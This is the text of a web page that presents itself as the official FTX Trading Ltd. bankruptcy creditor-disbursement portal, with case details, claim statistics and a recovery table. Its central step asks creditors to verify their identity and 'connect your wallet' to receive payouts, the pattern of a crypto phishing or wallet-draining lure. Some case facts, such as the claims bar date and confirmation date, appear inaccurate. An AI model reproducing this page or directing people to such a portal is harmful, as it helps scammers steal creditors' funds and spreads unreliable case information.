Chapter 11 Creditor Disbursements
NOTICE TO CREDITORS
The Chapter 11 bankruptcy proceedings for FTX Trading Ltd. have been concluded. The U.S. Bankruptcy Court for the District of Delaware has approved the final distribution plan. Creditor claims are now ready for disbursement via cryptocurrency.
| Filing Date: | November 11, 2022 |
| Case Resolution: | Plan Confirmed & Effective |
| Distribution Status: | ACTIVE |
| Court Jurisdiction: | U.S. Bankruptcy Court for the District of Delaware |
IMPORTANT: Pursuant to the Court-approved distribution plan, eligible creditors may submit requests for disbursement of allowed claims via cryptocurrency. Distributions will be processed in accordance with the priority and treatment provisions established in the confirmed Plan of Reorganization.
CRYPTOCURRENCY DISBURSEMENT PROCESS
To receive your disbursement, complete the verification process below. Provide creditor information and cryptocurrency wallet details for secure transfer.
Step 1: Verify Creditor Information
Step 2: Connect your wallet
Your Claim Information
Connect your cryptocurrency wallet to receive your disbursement securely.
Case Information
FTX Trading Ltd. - Chapter 11 Bankruptcy
In re: FTX Trading Ltd., et al.
Court Information
Court: U.S. Bankruptcy Court for the District of Delaware
Judge: Hon. John T. Dorsey
Case Number: 22-11068
Filing Date: November 11, 2022
Chapter: Chapter 11
Debtor Information
Company: FTX Trading Ltd.
DBA: FTX.com
Industry: Cryptocurrency Exchange
Headquarters: Nassau, Bahamas
CEO: John J. Ray III (Interim)
Professional Services
Restructuring Administrator: Kroll Restructuring Administration LLC
Debtor's Counsel: Sullivan & Cromwell LLP
Financial Advisor: Alvarez & Marsal
Investment Banker: Perella Weinberg Partners
Case Status
Current Status: Plan Confirmed & Effective
Confirmation Date: May 7, 2024
Effective Date: May 14, 2024
Distribution Status: Active
Next Report Due: Quarterly Report - Q4 2024
Case Timeline
Chapter 11 Filing
FTX Trading Ltd. and affiliated entities filed for Chapter 11 bankruptcy protection
Claims Bar Date
Deadline for filing proofs of claims established
Plan Filed
Debtor filed Chapter 11 Plan of Reorganization
Plan Confirmed
Bankruptcy Court confirmed the Plan of Reorganization
Distributions Active
Cryptocurrency disbursements to creditors ongoing
Important Documents
Claims Information
Claim Categories
Customer Claims
Claims Filed: 98,562
Total Amount: $6.8B
Status: 92% Processed
Description: Claims for cryptocurrency deposits and trading balances
Trade Creditor Claims
Claims Filed: 15,847
Total Amount: $892M
Status: 87% Processed
Description: Vendor and service provider claims
Employee Claims
Claims Filed: 2,156
Total Amount: $157M
Status: 98% Processed
Description: Employee wages, benefits, and severance
Other Claims
Claims Filed: 10,856
Total Amount: $1.1B
Status: 76% Processed
Description: Regulatory, tax, and other miscellaneous claims
Claims Process Information
Claims Filing Period
The claims bar date was December 15, 2022. All proofs of claims were required to be filed by this deadline.
Claims Review & Reconciliation
The Debtors and Claims Agent reviewed all filed claims and reconciled them against internal records.
Objections & Disputes
Claims objections were filed for disputed, duplicated, or insufficient claims.
Allowed Claims
Final determination of allowed claims for distribution under the confirmed plan.
Distribution Information
Recovery Schedule
| Claim Class | Treatment | Recovery % | Payment Method |
|---|---|---|---|
| Customer Claims | Cash or Cryptocurrency | 90-142%* | Direct Transfer |
| General Unsecured | Cash Distribution | ~10% | Check or Wire |
| Employee Claims | Cash Distribution | 100% | Check or ACH |
| Trade Creditors | Cash Distribution | ~10% | Check or Wire |
*Customer recovery percentages vary based on account type and timing
Claim Lookup
To check the status of your claim, use the disbursement portal or contact the Claims Agent.